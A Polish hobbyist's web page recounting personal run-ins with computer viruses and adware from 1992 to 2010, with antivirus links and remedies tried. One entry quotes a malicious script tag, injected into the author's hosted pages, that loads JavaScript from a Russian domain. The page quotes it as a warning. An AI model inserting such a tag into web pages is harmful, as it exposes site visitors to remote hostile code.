Moje spotkania z wirusami komputerowymi

Producenci i dystrybutorzy programów antywirusowych

www.avp-promocja.kki.pl http://www.avp.gold.pl/
http://www.mks.com.pl Skaner on line-http://skaner.mks.com.pl
http://www.cai.com/products/inoculateit.htm http://www.cai.com/virusinfo/encyclopedia/
http://housecall.antivirus.com/explorer.html  
http://download.mcafee.com/
http://www.virusalert.com/
http://www.virusbtn.com/  
http://www.kaspersky.pl/index.html http://www.kaspersky.pl/virusscanner.html
http://www.acunetix.com/cross-site-scripting/links.htm-skaner strony WWW  

Strony na temat wirusów

http://www.kki.net.pl/bytelord/virii.htm
 


DIR2 KACZOR ANTITELEFONIK BOBEK
CIH ETHAN Opis CIH  

Rok 1992 - kwiecień.

Zakupiłem w firmie "Minix" komputer IBM 286.
Przez kilka dni niektóre programy zachowywały się be z sensu. Po zbadaniu programem MKS-Vir okazało się ,że na dysku 40 MB jest wirus
DIR 2.
PO wyleczeniu dysku praca komputera wróciła do normy. Trudno wyjaśnić , czy wirus dostałem z komputerem , czy go przeniosłem z dyskietek , z których przegrywałem różne programy,

Powrót na początek strony


Rok 1995. Na moim komputerze w pracy Kierownik wykrył wirusa Kaczor,.
Były jakieś niedomagania programów , ale specjalnie mi nie przeszkadzały , tylko rzuciły się w oczy Kierownikowi , kiedy używał wyjątkowo mojego komputera. Zarażony był między innymi program MEM.EXE , przegrałem go na dyskietkę , próbowałem analizować pod debuggerem jego kod , ale później wyleczyłem program przy pomocy MKS-Vir.
Ten wirus później przeniósł się na mój komputer w domu , i nagrał się na CD Romie w jednym z programów. Nie da się go więc usunąć. Trzeba uważać , żeby nie uruchomić tego programu. Ale nie zdążył wiele zaszkodzić. Zdarzały się też wirusy Bravo na dyskietkach , ale też dały się bezpiecznie usunąć.

Powrót na początek strony


Rok 1999. W styczniu znajomy przyniósł do pracy komputer z systemem Windows 98 , którego system nie mógł się uruchomić.

Po przebadaniu programem antywirusowym (Nazwy nie pamiętam) wykryto wirusy o nazwie podobnej do Antitelefonik. Później na wydrukach odnalazłem ,że tam był także wirus CIH. Udało mi się wyleczyć programem antywirusowym dysk i zainstalować ponownie Windows 98 z CD ROMu właściciela komputera. Nie formatowałem ponownie dysku. Nie wiem co się później działo z tym komputerem.

Powrót na początek strony


Rok 1999. w sierpniu mój komputer został zaatakowany kilkakrotnie przez wirusa Bobek. Przy pierwszym ataku z programu BITCOM.exe wystąpił błąd ochrony pamięci , nie wiedziałem , że to wirus. Wirus ten nie był wykrywany przez zagraniczne programy antywirusowe jak Antiviral Toolkit, bo jest to wirus polskiego obywatelstwa.

Drugi atak nastąpił w dniu 15 sierpnia. Podczas ataku komputer uruchomił sygnał dźwiękowy i pojawił się ekran , którego treści nie czytałem tylko czym prędzej wyłączałem komputer.  Dopiero ściągnięty z Internetu najnowszy MKS-Vir demo wykrył kilkanaście kopii wirusa Bobek na dysku D ze starym systemem Windows 95 , który został uszkodzony. Wirus zaatakował kilka programów , w tym program Bitcom.exe i SndInit.exe. Wywołało to zakłócenia w obsłudze karty dźwiękowej przez Windows , a nawet zaburzenia pracy sterownika karty graficznej Virge , przez co obraz stawał się całkiem nieczytelny.
Po usunięciu zawirusowanych plików , udało się na starym dysku systemowym przywrócić pracę Windows 95. Przy uniknięciu formatowania nie pomagała ponowna instalacja , trzeba było ponownie instalować z poziomu DOSa kartę dźwiękową i ręcznie poprawiać pliki config.sys i autoexec.bat. Już nie pamiętam szczegółów. Później ten system Windows 95 popsuł się , ale mając
na nowym dysku C Windows 98 nie martwię się tym. Być może wirus Bobek coś namieszał w strukturze tego dysku, ale już nie był tam wykrywany , natomiast został odnaleziony w jednym z plików programu ściągniętym z Internetu.

Powrót na początek strony


26 stycznia 2000. Na dysku mojego znajomego wykryłem przy pomocy programu Inoculate z CDROMu CHIP 2/2000 bardzo groźnego wirusa CIH Win 95. Było zawirusowane kilkadziesiąt programów z systemu Windows . Ale wcześniej komputer nie zdradzał objawów zakłóceń w pracy.
Program Inoculate swoim monitorowaniem spowodował spowolnienie pracy komputera i podczas próby uruchomienia Wincmd.exe
pojawił się żółty kolor na tle jego ekranu i potem Inoculate stwierdził Wirusa CIH i wykasował ten plik.
Znając opis wirusa , który może popsuć BIOS zdecydowałem się na formatowanie programem Format dysku C:.
Na drugi dzień formatowałem dysk i zainstalowałem na nowo Windows 98 PL. Instalacja przebiegła bez zakłóceń , ale podczas uruchamiania Windows 98 obraz logo utrzymywał się przez 15 min i zgasła dioda kontrolna sterownika dysku. Zdecydowałem się zresetować komputer . I niestety po restarcie sytuacja się powtarzała. Komputer ma tylko 16 MB . Wyraziłem przypuszczenie , ze może to być słabośc sprzętu , dysk ma uszkodzone 1MB z 1GB , a Windows 98 PL , ma jeszcze drobne niedomagania ,( np. przy wymianie dysku ZIP na drugi mylnie określa ilość wolnego miejsca wg wartości określonej dla pierwszego). Badałem jeszcze dysk w trybie awaryjnym i ponawiałem instalację Windows. Piszę szczegóły , bo nie wykluczam , że są to skutki działalności tego wirusa. W tym momencie sąsiad stracił cierpliwość i nakazał zakończenie prac.
Nie dowiem się więc , czy wirus został na 100 % zlikwidowany.
Zajmie się tym inny spec. W każdym razie ostrzegam przed zakupem komputerów w komisach .
Być może wirus został przegrany z jakimiś grami komputerowymi.
Trzeba zachować ostrożność przy wkładaniu dyskietki do nieznanego komputera , żeby nie przenieść przez nią wirusa.
Słyszałem od znajomych o jeszcze jednym przypadku wirusa CIH _ Czernobyl w Jaśle , a także o kilku przypadkach CIH u nieznanych osób w powiecie jasielskim.
Zdarzają się też fałszywe alarmy : np. MKS Vir wykrywał konia trojańskiego w pliku *.ocx od programu GOTOWORLD.exe.
Taką odpowiedź otrzymałem od specjalisty z MKS-Vir.
MKS-Vir również wywołuje fałszywy alarm o uszkodzeniu przez wirusa programu , który ma tylko jeden rozkaz - kod resetujący komputer (opcode 019). Niemniej pisałem list (po angielsku) do specjalistów od programu Inoculate i oni nie mają wątpliwości , że wirus był i może uszkodzić BIOS
I BOOt sektor , co na razie chyba nie miało miejsca.  
Słyszałem od kolegi z pracy ,że wirus CIH może wleźć do obrazu partycji.
I wtedy zwykłe formatowanie go nie do końca usuwa i może to zrobić tylko program antywirusowy. Mam też ściągnięte z Internetu 2 programy do wykrywania i usuwania jedynego wirusa CIH.  Dyskietka ma swój system operacyjny. Mam obawy , że podczas uruchamiania Z niej systemu i programu antywirusowego nie miała ona blokady zapisu, ale ponieważ system był uruchamiany z tej dyskietki powinna uniknąć zakażenia. Podczas instalacji MS DOS , instalator zapisywał jakieś informacje na 3 dyskietce , ale było to już po sformatowaniu dysku i system był uruchomiony z dyskietki. Na wszelki wypadek przebadałem te dyskietki na swoim (bezpieczniej by było na cudzym) komputerze programem Inoculate i TSCAN . Żadnego wirusa nie wykryto.
Po 2 latach rozmawiałem z żoną właściciela tego komputera. Inny spec też nie naprawił tego komputera, tylko polecił kupić nowy. Prawdopodobnie tutaj najgorszą rzeczą były fizyczne uszkodzenia dysku. A wirus nie zdążył zaszkodzić , tylko po sformatowaniu dysku nowy system nie mógł się uruchomić z powodu tych uszkodzonych sektorów. Mogłaby pomóc wymiana dysku , ale to by się opłaciło robić specjaliście od sprzętu komputerowego.

Powrót na początek strony


12 kwietnia 2000 r.  Dzisiaj na komputerze w pracy program MKS-VIR wykrył w moich dokumentach Wirusa Makra ETHAN 97 w dokumentach Microsoft Word 97 i w szablonie głównym Normal.dot. Program wyleczył pliki z wirusa , ale szablon Normal.dot nie nadaje się po wyleczeniu do użytku. Na szczęście mam kopie tego szablonu nie zakażone , więc da się go odtworzyć, Udało mi się wyskładować podczas pracy Worda kod źródłowy tego wirusa. Usadowił się on w otwartym dokumencie , nie umieszczam go na razie na stronie , bo tą drogą mógłby zostać używany do niecnych celów. Wysłałem go do twórców MKS-VIRa.

Grudzień 2001. Otrzymałem niechcianą pocztę wysłaną przez wirusa. Miał on 2 załączniki , w tym jeden większy o nazwie NEWS_DOC.DOC.scr. Zachowałem ten plik na dysku i zbadałem przez podgląd Notepadem były tam 2 pierwsze znaki MZ, co oznaczało ukryty program komputerowy. Skaner antywirusowy MKS-VIR ON Line wykrył wirusa o nazwie BadtransII. Jest to wirus Trojan , który może szpiegować komputer i wysyła swoje kopie do adresów z książki adresowej. Spreparowałem z ekranu pliku poczty plik tekstowy i wysłałem go do kilku znajomych jako ostrzeżenie. Sprowokowało to obronę antywirusową kilku serwerów, ale nowe badania przy pomocy zaktualizowanej wersji Innoculate Personal Edition i MKS-VIR nie wykryły już wirusów. Nie wykryłem też pliku Kernel.Exe , który ten wirus ma tworzyć .


7 kwietnia 2007. Na moim komputerze zalęgł się reklamiarz. Stało sie to po odwiedzeniu strony z programem Serial 2000. Ciągle otwiera strony, abyn ściągnąć oprogramowanie antywirusowe. Zmieniłem program antywirusowy na Panda , niby usuwa cookies i biblioteki dll, ale nie wszystko dał radę usunąć. Windows jest na partycji NTFS, którą trudno podejść z systemu Linux na CDRomie ratunkowym. Będę musiał przenieść drugi dysk z Windows z drugiego komputera i z niego wykasować te wredne biblioteki dll.

Powrót na początek strony


26 lutego 2008Na moim starszym komputerze (Pentium III 600 Mhz) nagrał się ściągnięty ze stron internetowych wirus reklamiarz. Około godz. 22 oglądałem w przeglądarce Avant Browser serwisy zleceń internetowych. Uruchamiał on fałszywy alarm antywirusowy, który zachęcał do ściągnięcia programu antywirusowego. Adres internetowy tej strony był f5.cookingluck.com? i następowało uruchomienie kilkudziesięciu okien przeglądarki Avant Browser, aż do jej zablokowania.

 Po wciśnięciu klawiszy Ctrl-Alt_Del w oknie Menedżera zadań Windows była widoczna aplikacja Windows Security Alert, którą dało sie wyłączyć. Podczas 3 dni zmagania sie z wirusem okazało sie, ze ogranicza on uprawnienia Administratora. Stał się niedostępny Control Panel. A w trybie awaryjnym administrator nie mógł w tym Panelu nic zdziałać. Na wskutek ograniczeń nie można było zatrzymać włączonego przez łącze USB Pendrive'a. Uruchamiałem Windows z innego dysku w tym komputerze i odnajdywałem pliki programów o dacie utworzenia 26.02.2008. Odnalazłem w katalogu Windows/System32  kilka programów i bibliotek DLL.   Kasowałem je ręcznie z poziomu Windows uruchomionego z innego dysku. Wtedy zwróciłem uwagę na plik FTPDLL.DLL. Później szukałem informacji o tym adresie f5.cookingluck.com? i odnalazłem nazwę wirusa Smitfraud. Ściągnąłem ze strony www.mks.com.pl skaner antywirusowy online. Wykrył on pliki wirusa c:\windows\shell.exe, c:\windows\system32\printer.exe i c:\windows\system32\spoolvs.exe. W menu autostart występował program findfast.exe. Ich nazwy sugerowały że są plikami systemowymi. Ich data zapisu była rok 2005 miesiąc maj. Wirus dokonał zmian w rejestrach, co juz zgłaszał podczas ataku MKS-Vir_2k7. Niestety nie był aktualizowany i nie wykrywał plików wirusa. Usuwanie zarażonych plików nie pomagalo, po restarcie komputera wirus się odnawiał i pliki na nowo powstawały. Ściągnąłem z internetu kilka programów do likwidacji Koni trojańskich. Uruchomiłem programy XOFT SpySE oraz  SPYBOOT SearchDestroy.

Wykonały one analizę rejestrów i wykryły podejrzane wpisy w rejestrze. Program Xoft SpySE w wersji darmowej nie usuwa wirusów. Program SPYBOOT SearchDestroy wykrył zmiany w rejestrze. Przy pomocy informacji z wyszukiwarek za wirusy uznałem Virtumonde i Win32.BHO.je. Te wpisy nakazałem usunąć. Ale to jeszcze nie usunęło wszystkich pików Wirusa. Na wskutek zmian w rejestrach System Windows nie mógł sie do końca uruchomić (program Explorer). Zdecydowałem się na przywrócenie rejestrów do stanu początkowego po instalacji i jak to nie pomogło to wykonałem ponowną instalację systemu Windows XP Z CD Romu. Wtedy wirus się nie pojawiał, ale podczas przeglądania katalogów próbowałem usunąć pozostały w nieczynnym Menu Start program FindFast.exe. Zniknęły juz ograniczenia uprawnień administratora. Ale program zgłaszał sie jako plik z ochroną zapisu i być może niechcący go uruchomiłem i nastąpiła wtórna aktywacja wirusa. Odnalazłem w Internecie inne programy do usuwania Spyware: SDFix i HijacThis.  Po wydrukowaniu na drugim komputerze opisu uruchomiłem program SDFix w trybie awaryjnym. ten program skutecznie usunął wszystkie pliki i wpisy w rejestrze wirusa. Komputer został uwolniony od wrednego wirusa. Załączam raport z usuwania wirusa.

Report.txt.
21 października 2008.  Na moim koncie http://www.rafaljak.phg.pl  jakiś rosyjski wirus zmienił mój kod na ok 300 plikach .html i .php. Dokleił kod podłączający do jakiś rosyjskich Java Scriptów. Wyszukiwarka Google umiesciłą moją strone na liście stron niebezpiecznych. Znajomy z Jasła powiadomił mnie pocztą elektroniczna. Na razie rozpoznałem na serwerze ponad 300 plików o dacie zapisu 17.10.2008 godziny między 9.45 , a 10 z minutami. Skonsultowałem się z administratorem  serwera www.phg.pl, który polecił usunięcie zmienionych przez wirusa stron, przebadanie komputera przez program antywirusowy i zmianę haseł dostępu do konta. Na razie usunąłem pliki z rozpoznanymi zmianami i zleciłem systemowi Google ponowne sprawdzenie mojej witryny. Uruchomiłem też MKS Skaner Online.
Przykład kodu dodanego przez wirusa.:<script src=http://www.nmr43.ru/fgg.js></script>. 
Takie wpisy występowały wielokrotnie i powodowały podejrzane zwiększenie wielkości pliku. Nie radzę odwiedzanie tego adresu.
Skaner Online na razie wykrył tylko fałszywe alarmy program: vhost.exe w katalogach DEBUG programów binarnych powstałych z kompilacji w Visual Basic 2005.
Później się okazało, że na drugim koncie http://www.rafalwit.ota.pl o tej samej godzinie ten sam wirus też zmienił strony WWW.

27 stycznia 2010. Otrzymałem email z załącznikiem plik UPS_invoice_NR45675.exe. Skaner online Kasperski Antywirus stwierdził że to wirus.
Patrz : kasperski_skan.htm .

6 lutego 2010. Dostałem powiadomienie od znajomego, że moja strona jest rozpoznawana przez dodatek Firefox WOT jako witryna nie budząca zaufania. Okazało się, ze było zgłoszenie o umieszczeniu na moim koncie przez włamanie pliku wirusa antigo_88.scr . Ten plik Kasperski Antywirus online rozpoznał jako trojana.
Patrz: scanforvirus2.htm

http://www.acunetix.com/cross-site-scripting/links.htm link do programu antywirusowego zgłoszonego przez specjalistę z Brazylii.

http://wortal.php.pl/wortal/artykuly/bezpieczenstwo/podstawy_bezpieczenstwa_skryptow_php

 

Patrz opis wirusa CIH.ZIP


Poprzednia <=           Następna =>